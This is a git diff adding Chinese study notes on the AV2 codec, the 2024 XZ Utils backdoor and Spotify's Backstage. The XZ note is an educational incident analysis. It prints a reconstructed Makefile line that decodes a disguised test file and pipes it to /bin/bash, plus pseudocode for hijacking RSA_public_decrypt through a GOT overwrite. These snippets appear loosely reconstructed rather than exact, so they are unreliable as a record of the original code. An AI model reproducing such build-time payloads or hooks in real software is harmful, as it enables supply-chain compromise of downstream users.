+        "obu_type": obu_type,
+        "name": OBU_NAMES.get(obu_type, f"OBU_TYPE_{obu_type}"),
+        "extension": extension,
+        "has_size": has_size,
+    }
+
+    if extension:
+        b1 = data[pos]
+        pos += 1
+        header["obu_xlayer_id"] = b1 >> 4
+        header["obu_mlayer_id"] = b1 & 0x0F
+
+    payload_size = None
+    if has_size:
+        payload_size, pos = leb128_read(data, pos)
+        header["payload_size"] = payload_size
+
+    header["header_end"] = pos
+    if payload_size is not None:
+        header["payload_end"] = pos + payload_size
+    return header
+
+def walk_obus(av2_payload: bytes, limit: int = 20) -> None:
+    pos = 0
+    for i in range(limit):
+        if pos >= len(av2_payload):
+            break
+        h = parse_obu_header(av2_payload, pos)
+        print(f"[{i:02d}] {h['name']:28s} ext={h['extension']} "
+              f"size={h.get('payload_size', '?')}")
+        pos = h.get("payload_end", h["header_end"])
+
+def strip_ivf(path: str) -> bytes:
+  """IVF: 32-byte file header + per-frame 12-byte header."""
+  with open(path, "rb") as f:
+    magic = f.read(4)
+    if magic != b"DKIF":
+        return f.read()  # assume raw OBU stream
+    f.read(28)  # rest of IVF file header
+    chunks = []
+    while True:
+        hdr = f.read(12)
+        if len(hdr) < 12:
+            break
+        size = struct.unpack("<I", hdr[0:4])[0]
+        chunks.append(f.read(size))
+    return b"".join(chunks)
+
+if __name__ == "__main__":
+    path = sys.argv[1] if len(sys.argv) > 1 else "sample.av2.ivf"
+    walk_obus(strip_ivf(path))
+```
+
+运行后你会看到比特流是一串 `SEQUENCE_HEADER → FRAME_HEADER → TILE_GROUP → …` 的 OBU 链——这正是播放器 demuxer 交给解码器的第一道工序。
+
+---
+
+## 代码示例 3：用 AVM 参考编码器做质量/码率扫点
+
+做 codec 评估时，常用 **CRF 扫点**或 **固定 QP** 画 BD-Rate 曲线：
+
+```bash
+# 假设已安装 avmenc / avmdec（AVM 构建产物）
+for crf in 20 28 36 44; do
+  avmenc --codec=av2 -w 1920 -h 1080 --fps=30/1 --limit=300 \
+    --cq-level=$crf --end-usage=q -o "out_${crf}.ivf" input.yuv
+  avmdec -o /dev/null "out_${crf}.ivf"  # 验证可解码
+done
+
+# 用 vmaf / ssimulacra2 对比源与重建（需 ffmpeg 滤镜或独立工具）
+ffmpeg -s 1920x1080 -pix_fmt yuv420p -i input.yuv -i decoded.yuv \
+  -lavfi "[0:v][1:v]libvmaf=log_fmt=json:log_path=vmaf.json" -f null -
+```
+
+论文与 AOMedia 技术幻灯片（如 Andrey Norkin 的架构概述）报告：随机接入（random access）配置下，AV2 相对 AV1 约 **30%** 码率节省——你的实测会随内容类型（动画、体育、屏幕共享）大幅波动。
+
+---
+
+## AV2 vs AV1 vs VVC：怎么选？
+
+| 维度 | AV1 | AV2 v1.0 | VVC (H.266) |
+|------|-----|----------|-------------|
+| 专利 | 免版税 | 免版税 | 专利池（MC-IF、Sisvel 等） |
+| 相对 HEVC 效率 | 基准一代 | 再省 ~30%（相对 AV1） | 与 AV2 大致同级 |
+| 硬件普及（2026） | 已广泛 | 刚起步（软解为主） | 部分广播/高端设备 |
+| 多流/VR | 基础 | 显著增强（MSDO、Atlas） | 有类似工具 |
+| 屏幕内容 | 好 | 更好（IBC+滤波协同） | 好 |
+| 实现复杂度 | 高 | 更高 | 最高 |
+
+**选型建议**：
+
+- **现在就要全平台硬解**：继续 AV1/HEVC，AV2 等待硬件。
+- **长视频平台/CDN 降本**：开始软解试点 + 云端转码实验，跟踪 GPU IP 路线图。
+- **专利敏感场景**（浏览器、开源播放器、初创公司）：AV2 比 VVC 更友好。
+- **广播/机顶盒既有 VVC 授权**：可能双轨并存，类似当年 HEVC vs AV1。
+
+注意：即使 AOMedia 声明免版税，第三方专利池（如 Sisvel 针对 AV1/AV2 的声明）在 2025–2026 年已是行业现实——上线前需做法务与 FTO（自由实施）评估，不能只看「royalty-free」四个字。
+
+---
+
+## 如何阅读 v1.0 规范（学习路径）
+
+1. **先读概述**：§1 Scope、§2 Terms、§3 Decoder model — 建立「解码器必须做什么」的全局图。
+2. **对照 Syntax Browser**：§5 Syntax + §6 Semantics，从 `sequence_header_obu()` 追起。
+3. **看参考代码**：AVM 的 `avmdec` / `avmenc` 与 §9 附加表（C header 查找表）交叉验证。
+4. **跑 conformance streams**：AOMedia 与 Allegro、HDR Nova 等提供的商用一致性码流包。
+5. **扩展阅读**：[Wikipedia AV2](https://en.wikipedia.org/wiki/AV2)、[Norkin AV2 架构概述](https://norkin.org/research/av2_overview/index.html)、AOMedia 新闻稿。
+
+规范是 **Final Deliverable**（2026-05-28），working draft v13 已废止；实现请以 **v1.0.0** 为准。
+
+---
+
+## 踩过的坑（早期实现者经验）
+
+1. **把 v13 草稿当最终版**：v13 与 v1.0 在 OBU 扩展头、xlayer 上下文保存等细节上有差异，迁移时务必 diff 语法浏览器。
+2. **忽略 Operating Point**：多层级比特流里，`OperatingPointIdc` 决定当前解码器实例看哪些层；demuxer 丢 OBU 会导致「能解但花屏」。
+3. **IBC 与环路滤波顺序**：v1.0 允许 IBC 与 in-loop filter 协同，照搬 AV1「先 IBC 后滤波」的旧假设会编出 non-conformant 流。
+4. **只用 PSNR 评估**：AV2 的低码率工具集强烈依赖感知优化，应用 **VMAF / SSIMULACRA2** 或主观测试。
+5. **低估解码复杂度**：ERP + 大超块 + 多参考帧对嵌入式不友好；MSDO 资源分配是为「机顶盒只解一路」设计的，移动端仍可能需要转码。
+
+---
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| 定位 | AV1 正统续作，免版税，2026-05-28 定稿 v1.0.0 |
+| 收益 | 同画质码率约 ↓30%，更适合流媒体/会议/VR |
+| 比特流 | OBU 容器；支持多流、多层级、Atlas |
+| 关键技术 | ERP、SDP、增强 intra/inter、改进 IBC/SCC |
+| 软件 | AVM 参考实现；dav2d 软解；FFmpeg 集成进行中 |
+| 硬件 | 预计 2–4 年消费级普及，短期以云端/PC 软解为主 |
+
+AV2 不是「换一个文件扩展名」那么简单——它重新定义了块如何切、色度如何跟亮度分工、一个文件如何服务多路观众。作为学习者，先搞懂 **OBU → 序列头 → 帧头 → 瓦片 → 预测/变换/熵编** 这条解码主线，再按需深入 Syntax Browser，比从头到尾通读上千页 PDF 更高效。
+
+---
+
+## 参考链接
+
+- [AV2 Specification 官网](https://av2.aomedia.org/) — v1.0.0 规范、PDF、Syntax Browser、附加表
+- [AV2 v1.0.0 在线规范全文](https://av2.aomedia.org/v1.0.0/index.html)
+- [Wikipedia: AV2](https://en.wikipedia.org/wiki/AV2)
+- [AOMedia 发布 AV2 新闻稿（2026-06）](https://aomedia.org/press%20releases/Alliance-for-Open-Media-Releases-AV2-Codec/)
+- [Andrey Norkin — AV2 Video Codec Architecture Overview](https://norkin.org/research/av2_overview/index.html)
+- [AVM 参考软件仓库](https://gitlab.com/AOMediaCodec/avm)
+- [dav2d 解码器（VideoLAN）](https://code.videolan.org/videolan/dav2d)
diff --git a/src/content/docs/papers/backdoor-xz-liblzma-2024.md b/src/content/docs/papers/backdoor-xz-liblzma-2024.md
new file mode 100644
index 000000000..e52f3d269
--- /dev/null
+++ b/src/content/docs/papers/backdoor-xz-liblzma-2024.md
@@ -0,0 +1,215 @@
+---
+title: XZ Utils 后门事件学习笔记 — 从供应链信任崩塌看 SSH 服务器是如何被攻破的
+来源: https://www.openwall.com/lists/oss-security/2024/03/29/4
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# XZ Utils 后门事件学习笔记
+
+## 一、一个日常类比：被污染的"标准件"
+
+想象你住在一个小区，每家每户的门锁都按照同一份国家标准制造。这份标准由一位德高望重的工程师编写和维护，大家都信任他。
+
+某天，一位叫 "Jia Tan" 的人通过多年社交运作，成了这位工程师的"得力助手"，最终拿到了修改标准文档的权限。他在标准里偷偷塞了一条：如果你用的是 x86-64 架构的 Linux 系统、用 GCC 编译、并且正在打包成 deb 或 rpm 格式——那就在编译时多跑一段隐藏代码。这段代码会在最终的产品里安装一个"暗门"。
+
+问题在于：几乎每个 Linux 发行版都用这份标准。所以暗门随着正常更新，悄悄装进了数亿台机器。
+
+这就是 2024 年 3 月震惊世界的 XZ Utils 后门事件。
+
+## 二、什么是 XZ Utils 和 liblzma？
+
+**XZ Utils** 是一套文件压缩工具（类似 gzip、bzip2），核心库叫 **liblzma**。它不是什么"应用软件"，而是 Linux 系统里无数软件都会依赖的**底层库**——就像盖房子用的水泥。你看不见它，但房子离不了它。
+
+**OpenSSH** 是 Linux 上最常用的远程登录工具。正常情况下，OpenSSH 和 liblzma 根本没有关系。但因为 Debian 等发行版给 OpenSSH 打了一个补丁（用于 systemd 通知功能），让 OpenSSH 间接依赖了 libsystemd，而 libsystemd 又依赖了 liblzma。就这样，两条本不相干的线被连到了一起。
+
+## 三、攻击时间线（从第一性原理推导）
+
+**为什么攻击者要花两年以上的时间？**
+
+如果直接入侵一个系统，成本高且覆盖面小。但如果污染了一个被所有人使用的"标准件"，一次投放，影响全球。这是一种**杠杆思维**：用最小的投入换取最大的影响范围。
+
+- **2021 年起**：攻击者 "Jia Tan" 开始以"热心社区贡献者"的身份接触 XZ Utils 项目，使用多个马甲账号（如 "Jigar Kumar"、"krygorin4545"）施压原 maintainer，争取提交权限
+- **2024 年 2 月**：拿到权限后，在 XZ 5.6.0 中植入后门代码
+- **2024 年 3 月**：5.6.1 发布，后门随之扩散
+- **2024 年 3 月 27 日**：开发者 Andres Freund 在 Debian sid 上发现 SSH 登录变慢、valgrind 报错，开始调查
+- **2024 年 3 月 29 日**：在 oss-security 邮件列表公开披露
+- **2024 年 5 月 29 日**：正式修复版 5.6.2 发布，CVE-2024-3094，CVSS 评分 10.0（满分）
+
+## 四、核心概念解析
+
+### 4.1 供应链攻击（Supply Chain Attack）
+
+攻击者不直接攻破目标系统，而是攻击目标系统所依赖的第三方组件。就像不在你家门上动手，而是在送你家的自来水里下毒——所有喝这水的人都会中招。
+
+**关键特征**：
+- 依赖链长且隐蔽（OpenSSH → libsystemd → liblzma）
+- 信任传递（用户信任发行版，发行版信任上游源代码）
+- 检测极难（代码看起来是正常的压缩库）
+
+### 4.2 .ifunc 与运行时函数解析
+
+Linux 上的动态库可以用 **IFUNC**（Interface Function）机制，让函数在程序启动时"动态选择"最优实现。比如 crc32/crc64 校验函数会根据 CPU 指令集自动选最快的版本。
+
+攻击者利用了这一点：**替换了 ifunc 解析函数**，在程序刚启动、一切还在内存里、防护还没完全生效的时候，执行恶意代码。
+
+### 4.3 GOT 覆盖（Global Offset Table）
+
+程序调用外部函数时，会先查 GOT 表，GOT 表里存的是函数的真实地址。攻击者把 GOT 表中 `RSA_public_decrypt` 的地址改成了指向自己的恶意代码。这样每次 SSH 验证公钥时，走的都是攻击者的逻辑。
+
+这就像你去银行取钱，银行系统查"授权经理"的工位时，发现去了一个冒牌经理的座位——冒牌经理说"我批准了"，系统就信了。
+
+## 五、后门的工作原理（代码示例）
+
+### 示例 1：构建时注入——通过 makefile 解码并执行隐藏脚本
+
+后门的第一阶段发生在**编译阶段**。攻击者修改了发布包中的 `m4/build-to-host.m4` 文件（这个文件在 git 仓库里不存在，只在发布的 tarball 里）。它会在 configure 阶段注入一段恶意指令到 Makefile 中：
+
+```makefile
+# 攻击者注入的恶意 Makefile 规则
+# 当满足条件时（x86-64 + GCC + GNU ld + Debian/RPM 构建），
+# 这段规则会在测试阶段触发：
+
+am__test = bad-3-corrupt_lzma2.xz
+am__test_dir = $(top_srcdir)/tests/files/$(am__test)
+
+# 关键行：在运行测试时，先 sed 处理一个 .xz 文件，
+# 再用 xz 解压，最后 piped 到 bash 执行
+sed rpath $(am__test_dir) | \
+  tr "\t \-\_" " \t\_-" | \
+  xz -d | /bin/bash >/dev/null 2>&1;
+```
+
+**逐行解读**：
+1. `sed rpath ...` — 替换文件中的占位符
+2. `tr "\t \-\_" " \t\_-"` — 字符替换（base64 风格编码）
+3. `xz -d` — 用 xz 解压编码后的数据（这里面是真正的恶意脚本）
+4. `| /bin/bash` — 把解压出来的内容当作 shell 脚本执行！
+
+**类比**：就像你在快递盒里发现一个小盒子，打开小盒子发现里面有个自动播放的视频——但视频直接连到了你家电脑的控制台。
+
+### 示例 2：运行时劫持——通过 ifunc 解析器替换 GOT 表
+
+后门进入编译好的 liblzma.so 后，在程序启动时激活。以 sshd 为例：
+
+```c
+// 正常情况：crc64_resolve() 返回根据 CPU 能力选择的最快 crc64 实现
+static uint64_t (*crc64_resolve)(void) {
+    // 检测 CPU 是否支持 BMI2 指令集
+    if (have_cpuinfo_bmi2())
+        return crc64_bmi2;    // 用 BMI2 优化版本
+    else
+        return crc64_generic;  // 用通用版本
+}
+
+// 攻击者替换后的 crc64_resolve()：
+// 第一次调用：检查条件（CPU 架构、编译器、构建环境等）
+// 第二次调用：安装动态链接器审计钩子（audit hook）
+//              等待 RSA_public_decrypt 符号被解析
+//              然后把 GOT 表中 RSA_public_decrypt 的地址
+//              指向自己的恶意代码
+
+// 恶意解析器的核心逻辑（伪代码）：
+static uint64_t (*malicious_crc64_resolve)(void) {
+    static int called_count = 0;
+    called_count++;
+
+    if (called_count == 1) {
+        // 第一次：记录环境信息，检查条件
+        // 条件包括：build == x86_64-*linux-gnu*
+        //          CC == gcc, linker == GNU ld
+        //          存在 debian/rules 或 RPM_ARCH == x86_64
+        //          TERM 未设置、LANG 已设置
+        // 如果条件满足，标记为"继续执行"
+        return normal_cpuid_result();
+    }
+
+    if (called_count == 2 && should_execute) {
+        // 第二次：安装审计钩子到动态链接器
+        // 监听所有符号解析事件
+        // 当遇到 RSA_public_decrypt 被解析时，
+        // 修改 GOT 表项，指向后门代码
+        inject_audit_hook();
+        wait_for_rsa_symbol();
+        overwrite_got_entry("RSA_public_decrypt", backdoor_code_address);
+        remove_audit_hook();
+    }
+
+    return normal_crc64_result();
+}
+```
+
+**运行时发生了什么？**
+
+```
+sshd 启动
+  │
+  ├── liblzma.so 加载
+  │     │
+  │     ├── crc64_resolve() 被动态链接器调用（因为 -Wl,-z,now）
+  │     │     │
+  │     │     ├── 第 1 次调用：检查环境 ✓ 满足条件
+  │     │     ├── 第 2 次调用：安装审计钩子 → 拦截符号解析
+  │     │     │     │
+  │     │     │     ├── 监听 RSA_public_decrypt 解析
+  │     │     │     ├── 找到 GOT 表项
+  │     │     │     └── 篡改地址 → 指向后门代码
+  │     │     │
+  │     │     └── 移除审计钩子
+  │     │
+  │     └── 其他库陆续加载（libcrypto 等）
+  │
+  └── 用户发起 SSH 连接
+        │
+        ├── sshd 验证客户端公钥
+        │     │
+        │     ├── 调用 RSA_public_decrypt()  ← 实际走到后门代码
+        │     │     │
+        │     │     ├── 后门代码持有 Ed448 私钥
+        │     │     ├── 构造一个"合法的"认证回复
+        │     │     └── 绕过正常认证，获得 root 权限
+        │     │
+        │     └── 正常代码根本不知道自己已经被替换了
+```
+
+**类比**：就像银行系统的"授权经理"工位上坐着一个戴着假名牌的冒牌货。每次需要授权时，系统去查那个工位，冒牌货说"批准"，系统就照做。没人知道真正的经理已经被关在储藏室里了。
+
+## 六、为什么这个后门如此隐蔽？
+
+1. **两层分发机制**：恶意代码只在 tarball 里（git 仓库是干净的），绕过 git diff 检查
+2. **条件触发**：只在特定环境（x86-64 + gcc + GNU ld + deb/rpm）下激活，研究者用 clang 或 musl 就触发不了
+3. **反调试**：检测到 rr、gdb 等调试环境时自动失效
+4. **延迟激活**：不在 systemd 环境下启动 sshd 时不触发（增加分析难度）
+5. **性能退化伪装**：SSH 登录变慢约 0.5 秒，看起来像性能回归而非攻击
+
+## 七、修复与影响
+
+**修复方式**：
+- 发行版回退到 5.5.x 版本
+- Ubuntu 24.04 Beta 延期一周，重新编译所有包
+- 5.6.2 正式移除后门代码
+- GitHub 暂时禁用了项目仓库镜像
+
+**长期影响**：
+- OpenSSF 和 OpenJS 联合警告：类似社交工程攻击已 targeting JavaScript 项目
+- 引发关于"关键基础设施依赖无偿志愿者"的广泛讨论
+- 安全研究员 Alex Stamos 评价："这可能是有史以来最广泛、最有效的后门"
+
+## 八、从零开始理解的要点总结
+
+| 概念 | 类比 | 真实含义 |
+|------|------|----------|
+| 供应链攻击 | 在水库里下毒 | 通过污染上游组件影响所有下游使用者 |
+| liblzma | 水泥 | 底层压缩库，被大量软件间接依赖 |
+| ifunc | 自动选择最优路线 | 运行时根据 CPU 选择最优函数实现 |
+| GOT 覆盖 | 冒牌授权经理 | 修改函数跳转表，让程序执行恶意代码 |
+| tarball vs git | 快递盒 vs 工厂日志 | 发布包包含 git 里没有的恶意构建脚本 |
+| CVSS 10.0 | 满分危险 | 可远程利用、无需认证、完全控制 |
+
+## 九、给自己的思考题
+
+1. 如果我们无法信任上游开源项目，软件供应链的"信任链"应该在哪里断开？
+2. 为什么 5.6.0 到 5.6.1 之间，攻击者要调整 exploit 代码来适配新的栈布局？这说明攻击者当时在应对什么问题？
+3. Andres Freund 是在 Debian sid（开发版）上发现的。如果这个后门只影响 stable 版，它可能要更久才会被发现——这对我们理解开源社区的安全响应机制有什么启示？
diff --git a/src/content/docs/papers/backstage-spotify-2020.md b/src/content/docs/papers/backstage-spotify-2020.md
new file mode 100644
index 000000000..acf285877
--- /dev/null
+++ b/src/content/docs/papers/backstage-spotify-2020.md
@@ -0,0 +1,317 @@
+---
+title: Backstage — Spotify 的内部开发者门户如何变成开源的「开发工具前台」
+来源: https://backstage.io/blog/2020/03/16/announcing-backstage/
+日期: 2026-06-13
+子分类: 工程文化
+分类: 其他
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你刚入职一家**大型连锁酒店集团**（这就是 Spotify 规模下的工程组织）：
+
+- **客房部**管入住退房（业务微服务）
+- **工程部**管水电空调（Kubernetes、数据库）
+- **安保**管监控门禁（可观测、权限）
+- **培训部**管新人手册（文档、onboarding）
+- 每个部门都有自己的**内部电话分机、纸质表格、独立 App**——没人能一张图说清「这家酒店到底有多少栋楼、哪栋楼谁负责、坏了找谁」。
+
+新服务员（新工程师）第一天最常问的三句话：
+
+1. 「我要改的那个服务在哪？」
+2. 「谁拥有它？依赖什么？」
+3. 「从空仓库到能跑起来，要走哪套流程？」
+
+传统答案是：问 Slack、翻 Confluence、收藏十几个书签。Spotify 在 2016 年前后意识到：**工具越来越多，开发者花在「找工具」上的时间也在涨**。于是他们做了 **Backstage**——一个统一的**内部开发者门户（Internal Developer Portal, IDP）**，把目录、脚手架、文档、监控、CI 等能力收进**同一套 UI**。
+
+2020 年 3 月 16 日，Spotify 在官方博客 [Announcing Backstage](https://backstage.io/blog/2020/03/16/announcing-backstage/) 宣布把这套系统**开源**。这不是又一个 CI 或监控产品，而是**盖在现有工具之上的「体验层」**——像酒店大堂的前台：各楼层系统不动，但客人永远知道先去哪问。
+
+## 这篇「发布」在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 发布方 | Spotify Engineering |
+| 时间 | 2020-03-16 开源宣布；2020-09 进入 CNCF Sandbox |
+| 定位 | 开源的 **Developer Portal 框架**，围绕中心化 **Software Catalog** |
+| Spotify 内部成效（博客数据） | 工程师 onboarding 到第 10 个 PR 的时间 **缩短 55%**；280+ 团队管理 2000+ 后端服务、300+ 网站、4000+ 数据 pipeline、200+ 移动特性 |
+| 开源版初期形态 | 可扩展的前端平台 + 逐步补齐 Catalog / Templates / TechDocs；**不是** Spotify 内部 120+ 插件的完整拷贝 |
+
+博客用三阶段描述路线图（对理解「先有什么、后补什么」很重要）：
+
+1. **Phase 1 — 可扩展前端平台（当时已有）**：统一 UI/UX，用可复用组件把 Jenkins、K8s、文档站等「拼」进同一界面。
+2. **Phase 2 — 管理你的软件资产（随后 2–3 个月）**：Software Catalog 成为中心——创建库、看 K8s 部署状态、查网站测试覆盖率，都在一个门户里完成。
+3. **Phase 3 — 生态（更长期）**：通过开源插件市场，让每家公司按自己的技术栈选配集成——「Kubernetes 之于基础设施」类比为「Backstage 之于开发者体验」。
+
+## 为什么值得学（零基础图景）
+
+如果你只听过 DevOps 工具名（Jenkins、Grafana、Argo CD……）却没见过**平台工程（Platform Engineering）**怎么落地，Backstage 是一个极好的**解剖标本**：
+
+- 它回答的不是「怎么写代码」，而是**组织变大后，开发者如何不被工具碎片淹没**。
+- 它把「服务是谁的、在哪、依赖谁」从 wiki 搬进**可查询的目录（Catalog）**。
+- 它把「新建项目」从「问老员工 + 抄三个仓库」变成 **Software Templates（脚手架）** 的一键流程。
+- 它把「文档在 Confluence 里腐烂」变成 **TechDocs（docs-like-code）**——Markdown 跟代码同仓，门户里统一渲染。
+
+2023 年后的 DORA 报告、大量公司的 IDP 岗位潮，都和这类「**把内部开发者当产品用户**」的思路同频。Backstage 是这条路上**最早被大规模验证的开源实现之一**。
+
+与仓库内其他条目的关系：
+
+- [[dora-state-of-devops-2023]] —— 用数据说明「用户中心 + 平台能力」与交付绩效的关联；Backstage 是平台能力的**一种具体产品形态**。
+- [[chaos-engineering-netflix-2016]] —— Netflix 用实验验证分布式可靠性；Backstage 用目录 + 门户解决**认知与协作可靠性**（找对人、找对服务）。
+- [[projects/backstage]] —— 本仓库对 Backstage **项目本身**的速览；本篇侧重 **2020 官宣语境与概念起源**。
+
+## 核心概念
+
+### 1. Developer Portal（开发者门户）≠ 又一个 DevOps 工具
+
+门户**不替代** CI、监控、Git、K8s；它提供：
+
+- **统一入口**：一个域名、一套导航、一种搜索体验。
+- **上下文聚合**：打开 `order-service` 详情页，同时看到 CI 状态、最近部署、on-call、文档、依赖图——数据仍来自各工具，只是**视图合并**。
+- **一致交互**：学会创建一种组件，就学会创建所有模板化的组件（Spotify 工程博客强调的 UX 复利）。
+
+日常类比：手机上的「控制中心」不发电、不送网，但把 Wi‑Fi、蓝牙、亮度、勿扰收在一个面板里——**减少切换成本**。
+
+### 2. Software Catalog（软件目录）—— 全公司的「服务户籍册」
+
+Catalog 是 Backstage 的**心脏**。每个软件资产（微服务、网站、库、数据 pipeline、ML 模型等）用一份**实体描述符**登记，通常放在仓库根的 `catalog-info.yaml`。
+
+实体有固定「信封」结构：`apiVersion`、`kind`、`metadata`、`spec`。常见 `kind` 包括：
+
+| Kind | 含义（简化） |
+|------|----------------|
+| `Component` | 可部署或可消费的软件单元（service、website、library…） |
+| `API` | 对外/对内 API 定义（常挂 OpenAPI） |
+| `Resource` | 数据库、队列、存储等基础设施资源 |
+| `System` | 多个 Component 组成的业务系统 |
+| `Domain` | 更高层的业务域 |
+| `User` / `Group` | 人员与团队（常从 HR / GitHub 同步） |
+
+关系字段（如 `dependsOn`、`owner`）让 Catalog 不只是一张表，而是**可画图谱的图数据库**——「这个服务挂了会影响谁」第一次可以机器回答。
+
+### 3. Software Templates（软件模板 / Scaffolder）—— 黄金路径按钮
+
+2020 年 8 月，Backstage 宣布 [Software Templates](https://backstage.io/blog/2020/08/05/announcing-backstage-software-templates/)：开发者选模板 → 填几个字段 → 自动创建仓库、跑首构建、写入 Catalog。
+
+价值在于**标准化与自治的平衡**：
+
+- 团队仍可快速开工（自治）
+- 语言、CI、监控接入、目录登记在模板里写死（标准）
+- Spotify 内部形容为「几次点击就能在 GKE 上跑 Hello World 微服务」
+
+### 4. TechDocs —— 文档跟代码走
+
+Spotify 采用 **docs-like-code**：Markdown 放在仓库 `docs/`，CI 用 MkDocs 构建，Backstage 插件集中展示。解决的是「文档链接在 wiki 里指向已删除的分支」这类经典腐烂问题。
+
+### 5. Plugins（插件）—— 门户的「App Store」
+
+Backstage 前后端都插件化。Spotify **内部**曾有 100+ 集成；开源社区后续发展出 Plugin Marketplace。写一个 React 前端插件 +（可选）Node 后端插件，就能把专有系统接进统一 UI。博客标题 *As simple as writing a plugin* 指的就是这种扩展方式。
+
+### 6. 架构一眼（零基础版）
+
+```
+开发者浏览器
+    ↓
+Backstage 前端 (React) —— 各功能由 Plugin 组成
+    ↓
+Backstage 后端 (Node) —— Catalog API、Scaffolder、权限、集成
+    ↓
+PostgreSQL（Catalog 实体存储）+ 外部系统（GitHub、K8s、CI…）
+```
+
+你不需要先会 React 才能理解 Backstage；先记住：**Catalog 存元数据，Plugin 拉实时状态，Template 造新仓库**。
+
+## 代码示例
+
+### 示例 1：在仓库里登记一个 Component（`catalog-info.yaml`）
+
+这是 Backstage 最常见的「户籍本」文件，通常放在服务仓库根目录，由 Catalog 定期扫描或通过 `Location` 注册：
+
+```yaml
+apiVersion: backstage.io/v1alpha1
+kind: Component
+metadata:
+  name: playlist-api
+  description: 为用户生成个性化歌单的 REST 服务
+  tags:
+    - java
+    - rest
+  annotations:
+  # 插件常通过 annotation 关联外部系统（示例键名因插件而异）
+    github.com/project-slug: spotify/playlist-api
+    backstage.io/techdocs-ref: dir:.
+spec:
+  type: service
+  lifecycle: production
+  owner: group:default/audio-platform
+  system: listening-experience
+  dependsOn:
+    - resource:default/playlist-db
+    - api:default/recommendation-api
+```
+
+要点：
+
+- `metadata.name` 是机器引用用的稳定 ID；`owner` 指向 Catalog 里的 `Group`，方便找 on-call 与权限。
+- `dependsOn` 声明依赖后，门户可画依赖图、做影响分析——**前提是团队愿意维护 yaml**（这也是落地难点）。
+
+### 示例 2：注册一批 Catalog 实体（`app-config.yaml` 片段）
+
+本地或公司实例通过 `catalog.locations` 告诉后端「去哪里读 yaml」：
+
+```yaml
+app:
+  title: Acme Developer Portal
+  baseUrl: http://localhost:3000
+
+backend:
+  baseUrl: http://localhost:7007
+
+catalog:
+  locations:
+    # 从 GitHub 组织拉取所有 catalog-info.yaml
+    - type: url
+      target: https://github.com/acme-corp/services/blob/main/catalog/all.yaml
+    # 本地示例实体（开发用）
+    - type: file
+      target: ../../examples/entities.yaml
+```
+
+`all.yaml` 可以是 `Location` 列表，指向各仓库的 `catalog-info.yaml`——**目录是联邦式的**，不要求所有元数据挤在一个大文件里。
+
+### 示例 3：Software Template 定义骨架（`template.yaml`）
+
+模板描述「创建时问用户什么」以及「后台执行哪些步骤」（常用 [Cookiecutter](https://cookiecutter.readthedocs.io/) + 发布到 Git + 注册 Catalog）：
+
+```yaml
+apiVersion: scaffolder.backstage.io/v1beta3
+kind: Template
+metadata:
+  name: node-microservice
+  title: Node.js 微服务（公司黄金路径）
+  description: 创建带 CI、Dockerfile、catalog-info 的新服务仓库
+spec:
+  owner: group:default/platform-team
+  type: service
+
+  parameters:
+    - title: 基本信息
+      required:
+        - name
+        - owner
+      properties:
+        name:
+          title: 服务名
+          type: string
+          pattern: '^[a-z0-9-]+$'
+        owner:
+          title: 负责团队
+          type: string
+          ui:field: OwnerPicker
+
+  steps:
+    - id: fetch
+      name: 拉取模板骨架
+      action: fetch:template
+      input:
+        url: ./skeleton
+        values:
+          name: ${{ parameters.name }}
+          owner: ${{ parameters.owner }}
+
+    - id: publish
+      name: 发布到 GitHub
+      action: publish:github
+      input:
+        repoUrl: github.com?owner=acme-corp&repo=${{ parameters.name }}
+
+    - id: register
+      name: 写入 Software Catalog
+      action: catalog:register
+      input:
+        repoContentsUrl: ${{ steps.publish.output.repoContentsUrl }}
+        catalogInfoPath: /catalog-info.yaml
+
+  output:
+    links:
+      - title: 在 Catalog 中打开
+        url: ${{ steps.register.output.entityRef }}
+```
+
+开发者在前端 `/create` 选这个模板，填 `name` 和 `owner`，后台按 `steps` 顺序执行——**组织最佳实践被编码进模板**，而不是写在 wiki 第 17 页。
+
+### 示例 4：最小前端插件（概念代码）
+
+插件是「把外部系统 UI 嵌进 Backstage」的标准方式。下面是一个只展示某服务 CI 状态的极简 React 插件轮廓（真实项目还需 `createPlugin`、路由注册等样板）：
+
+```tsx
+import { useEntity } from '@backstage/plugin-catalog-react';
+import { InfoCard } from '@backstage/core-components';
+
+export const CiStatusCard = () => {
+  const { entity } = useEntity();
+  const slug = entity.metadata.annotations?.['github.com/project-slug'];
+
+  // 真实实现会调用 backend 插件去 GitHub API 取数据
+  const status = slug ? 'passed' : 'unknown';
+
+  return (
+    <InfoCard title="CI 状态">
+      <p>仓库 {slug ?? '未配置 annotation'}：{status}</p>
+    </InfoCard>
+  );
+};
+```
+
+`useEntity()` 说明插件运行在 **Catalog 实体详情页的上下文里**——这就是为什么先登记 `catalog-info.yaml` 再谈集成：门户需要知道「当前在看哪个服务」。
+
+## Spotify 内部 vs 2020 开源版：别混淆
+
+官宣博客特意强调：内部 Backstage 已演进约四年，**开源首版是「有潜力的壳」**，不是 Spotify 内网的完整克隆。
+
+| 维度 | Spotify 内部（2020 前后） | 开源版（2020 起） |
+|------|---------------------------|-------------------|
+| 插件数量 | 100+ / 后增至 120+ | 需自行安装社区或自研插件 |
+| 模板 | 深度集成 GHE、Jenkins、GKE 等 | 提供示例，需按自己栈改造 |
+| 目标 | 服务 Spotify 工程师 | 让**任何公司**能搭建自己的门户 |
+
+理解这一点，就不会抱怨「为什么装完开源 Backstage 没有监控页」——**门户框架给你，具体内容要你或社区用插件填满**。
+
+## 落地时要记住的坑
+
+1. **Catalog 质量 = 组织纪律**：yaml 不更新，门户会展示僵尸服务；需要治理（CI 校验、对账、owner 轮换流程）。
+2. **不是小团队的银弹**：服务 < 20、工具 < 5 时，维护门户的固定成本可能高于收益。
+3. **插件与版本升级**：Backstage monorepo 大版本升级常波及插件 API，生产环境宜锁版本、分批升级。
+4. **成功指标要业务化**：Spotify 用「到第 10 个 PR 的时间」衡量 onboarding——你也可以定义「新服务从创建到首次生产部署的时长」等可观测指标，而不是「门户 PV」。
+
+## 时间线（便于记忆）
+
+| 时间 | 事件 |
+|------|------|
+| ~2016 | Spotify 内部开始建设开发者门户雏形 |
+| 2018 | 内部 Backstage 成型，工程师自发采用 |
+| 2020-03-16 | 开源宣布（本篇来源博客） |
+| 2020-08 | Software Templates 功能发布 |
+| 2020-09 | 进入 CNCF Sandbox |
